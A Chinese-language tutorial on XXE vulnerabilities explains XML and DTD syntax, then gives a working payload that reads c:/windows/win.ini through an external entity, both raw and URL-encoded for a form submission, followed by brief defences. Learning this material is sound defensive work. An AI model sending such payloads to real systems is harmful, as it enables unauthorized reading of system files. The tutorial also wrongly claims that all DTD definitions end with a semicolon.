文章目录
- 1.简介
- 2.XML基本语法
- 2.1.文档声明
- 2.2.根元素
- 2.3.元素
- 2.4.属性
- 2.5.注释
- 2.6.CDATA
- 2.7.空元素
- 3.DTD基本语法
-
- 4.攻击
- 5.防范
1.简介
XXE (XML 外部实体) 是一种安全漏洞,影响解析 XML 输入的应用程序。该漏洞允许攻击者在 XML 文档中注入外部实体, DTD 可以在 XML 文档中引用外部实体。如果 XML 解析器未正确验证外部实体的内容,攻击者可以利用 XXE 漏洞读取系统的机密数据,或者在恶意 DTD 文件中执行任意代码。
当应用程序未能正确处理传入的 XML 数据或未限制可以处理的实体类型时,XXE 可能发生。因此,攻击者可以构造一个包含外部实体的恶意 XML 文档,该外部实体由脆弱的应用程序处理。
2.XML基本语法
2.1.文档声明
XML 文档必须以一个特殊的声明开头,用于指示 XML 文件的版本和编码。格式如下:
<?xml version="1.0" encoding="UTF-8"?>
2.2.根元素
XML 文档必须有一个根元素,它是整个文档的容器。根元素包含其他元素,并以标签的形式定义。例如:
<root>
...
</root>
2.3.元素
XML 文档中的所有数据都存储在元素中。元素用标签定义,并以开始标签和结束标签的形式表示。例如:
<element>This is a sample element</element>
2.4.属性
元素可以有属性,用于提供有关元素的其他信息。属性以名称/值对的形式出现在元素的开始标签中。例如:
<element attribute="value">This is a sample element</element>
2.5.注释
XML 文档可以包含注释,用于提供有关代码的信息。注释以特殊的标记开头,并以特殊的标记结尾。例如:
<!-- This is a sample comment -->
2.6.CDATA
XML 文档可以包含 CDATA(不被解析的数据)。CDATA 用于包含不需要解析的数据,例如 HTML 或 JavaScript 代码。CDATA 以特殊的标记开头和结尾。例如:
<![CDATA[This is a sample CDATA]]>
2.7.空元素
XML 中的空元素是没有内容的元素。它以特殊的标记表示,例如:
<empty_element />
3.DTD基本语法
3.1.要点
DTD 文档以 <!DOCTYPE 开头,后跟元素的类型和 DTD 文件的位置。
元素定义以 <!ELEMENT 开头,后跟元素的名称和其子元素的描述。
属性定义以 <!ATTLIST 开头,后跟元素的名称和其属性的描述。
元素类型可以是元素的名称、#PCDATA(表示元素中的文本)或其他元素类型的序列。
可以使用通配符(例如 * 和 +)来描述元素出现的次数。
可以使用括号(例如 (A|B))来描述多个元素的选择。
可以使用引用(例如 %name;)来重复使用元素定义。
所有定义必须以分号结尾。
3.2.DTD 示例
<!DOCTYPE book [
<!ELEMENT book (title, author, pages)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT pages (#PCDATA)>
<!ATTLIST book ISBN CDATA #REQUIRED>
]>
4.攻击
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
在可能存在漏洞的点,尝试利用XXE读取win.ini,这里对其做了一个简单的URL编码
%3C%3Fxml+version%3D%221.0%22%3F%3E++%3C%21DOCTYPE+foo+%5B+++++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E+%5D%3E++%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E&submit=%E6%8F%90%E4%BA%A4
5.防范
- 禁用 XML 解析器中的外部实体处理
- 验证传入的 XML 数据,以确保其仅包含允许的实体
- 使用安全的库和 API 处理 XML 数据
- 实施适当的输入验证,防止恶意的 XML 输入
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)